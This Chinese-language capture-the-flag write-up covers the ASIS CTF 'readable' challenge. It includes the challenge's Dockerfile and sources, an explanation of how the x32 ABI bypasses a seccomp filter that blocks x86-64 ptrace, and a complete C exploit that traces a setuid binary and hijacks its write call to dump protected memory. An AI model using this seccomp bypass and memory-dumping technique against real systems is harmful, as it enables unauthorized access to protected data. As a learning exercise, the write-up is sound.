readable
readable
这周在学kernel编译和调试,用上次asisctf的题水一水
Dockerfile:
FROM ubuntu:22.04
COPY ./stuff/readme /home/pwn/readme
COPY ./stuff/run /home/pwn/run
RUN chown -R root /home/pwn/*
RUN chmod +x /home/pwn/run;
RUN chmod 111 /home/pwn/readme;
RUN chmod u+s /home/pwn/readme;
RUN useradd pwn;
CMD ["/home/pwn/run"];
sh文件:
#!/bin/bash
mkdir stuff 2>/dev/null
gcc ./sources/readme.c -o ./stuff/readme;
gcc ./sources/run.c -o ./stuff/run;
docker build . -t readable
deploy.py里面没啥,就一个部署指令参考,我用的是:
sudo docker run --privileged --network=none -i --rm -v /home/lmy/Desktop/asisctf/readable:/tmp readable /bin/bash
-v是挂载我的readable文件夹到/tmp目录下,我直接把exploit编译在readable,方便运行
然后就是source文件夹里的两个源码
readme.c:
#include <stdio.h>
#include <unistd.h>
const char *flag = "ASIS{test-flag}";
int main(){
flag = "No flag for you";
puts(flag);
return 0;
}
run.c:
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <unistd.h>
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
#define ARCH_NR AUDIT_ARCH_X86_64
#define VALIDATE_ARCHITECTURE \
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr), \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define EXAMINE_SYSCALL BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr)
#define DISALLOW_SYSCALL(name) \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define ALLOW_SYSCALLS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
static int install_filter() {
struct sock_filter filter[] = {
VALIDATE_ARCHITECTURE,
EXAMINE_SYSCALL,
DISALLOW_SYSCALL(ptrace),
DISALLOW_SYSCALL(process_vm_readv),
DISALLOW_SYSCALL(process_vm_writev),
ALLOW_SYSCALLS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_SECCOMP, 2, &prog)) {
perror("prctl(PR_SET_SECCOMP)");
exit(1);
}
return 0;
}
int main(char **) {
install_filter();
if (umount("/proc")) {
perror("could not umount procfs");
exit(1);
}
if (setgid(1000) || setuid(1000)) {
perror("could not drop privs");
exit(1);
}
char *args = NULL;
execve("/tmp/exploit",&args,&args);
return 1;
}
大概流程是 run.c 会先禁用ptrace,然后执行 exploit。有且仅有exploit可以被攻击者任意控制。readme则是suid程序,只有执行权限。flag即在readme的只可读的段中,但是没有读readme文件的权限,因此不能直接cat。
但它只是禁用了64位ptrace的syscall系统调用号,有x32 ABI的存在能打破这一点.
那么思路是写ptrace去跟踪劫持readme去输出elf内的flag。虽然禁用了ptrace,但是禁用的是x64下ptrace的系统调用号,那么可选的方法是用x86的ptrace或x32的ptrace。那么这里为什么x86的ptrace不行呢?
想劫持readme,肯定要去用ptrace控制内存或者寄存器,而x86ptrace参数只能是32位,而x64是64字节的,控制不了前32字节。比赛时想法是先在x64程序内retfq转到32位,然后写32位shellcode去调用ptrace,再返回到64位程序。但是好像没什么意义,只有32位能调用ptrace,又不可能进入内核去修改页表,寄存器的映射。。。到此就卡住了
赛后才了解到x32 ABI,x32就能实现64位的运算。实现64位的运算的我的理解是系统调用的参数能够是64位的,因为ABI是内核提供的,用户态也只能通过系统调用去访问内核的资源。所以这就解决了x86的ptrace不能传64位参数的问题。
x32 ABI
注意是x32不是x86。有什么区别呢?
其实就是libc和ld不同,x32链接的是/libx32/libc.so.6
libc不同的原因是系统调用不同
上图是调用ptrace的32位ABI,可以看到rax不是传统系统调用号,而是通过表去跳转
#define __X32_SYSCALL_BIT 0x40000000
那么为什么用x32呢
可以看到x32可以支持64位运算
x32编译参数是 -mx32 ,不同于x86 -m32
exp:
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <errno.h>
#include <sys/personality.h>
#include <sys/user.h>
#include <sys/mman.h>
int main()
{
pid_t traced_process;
struct user_regs_struct regs = {};
long ins;
long long data_base;
int flag =0;
int pid = fork();
if (pid == 0)
{
ptrace(PTRACE_TRACEME, 0, 0, 0);
execve("/home/pwn/readme", NULL, NULL);
puts("exec failed");
return -1;
}
while (1)
{
// ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
waitpid(pid, 0, 0);
ptrace(PTRACE_GETREGS, pid, 0, ®s);
if (((regs.rcx >> 40 ) == 0x55)&&(flag == 0))//rbx
{
printf("%llx\n", regs.rcx);
data_base = (regs.rcx+0x1000) & ~0xfff;
printf("%llx\n", data_base);
flag+=1;
}
if (((regs.rax == 1))&&(regs.rdx == 0x10&& regs.r12 == 0x10))//rbx==0x10
{
printf("%llx\n", regs.rcx);
regs.rdi = 1;
regs.rsi = data_base;
regs.rdx = 0x2000;
ptrace(PTRACE_SETREGS, pid, 0, ®s);
}
ptrace(PTRACE_SETREGS, pid, 0, ®s);
}
return 0;
}
exp的使用大概说下,ptrace跟踪readme后,持续获得寄存器reg的值,与rcx对比,如果rcx第六个字节是0x55,那么直接获取此时的rcx的值(此处rbx也可,根据模拟调试readme可看出),这时的rcx是0x55........是一个text段附近的值,由于该值与flag偏移固定,直接可以据此算出flag的实际地址,后面只需要根据对比寄存器,三重限制对比后劫持一个write调用,打印出flag即可。
模拟调试readme,可patchelf提取出的libc版本,然后gdb,b main,vmmap寻找flag地址,并跟踪到write函数执行前和执行后,查看前后哪些寄存器没有变化,可以据此用ptrace定位并劫持write函数。
拿到flag之后觉得不应该用 ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);去跟踪每一条指令,而是应该用 ptrace(PTRACE_SYSCALL, pid, NULL, NULL); ,只跟踪系统调用就够了,user_regs_struct还有orig_rax这样专门跟踪系统调用号的成员,后面去劫持write时用了三个寄存器才能准确定位到write。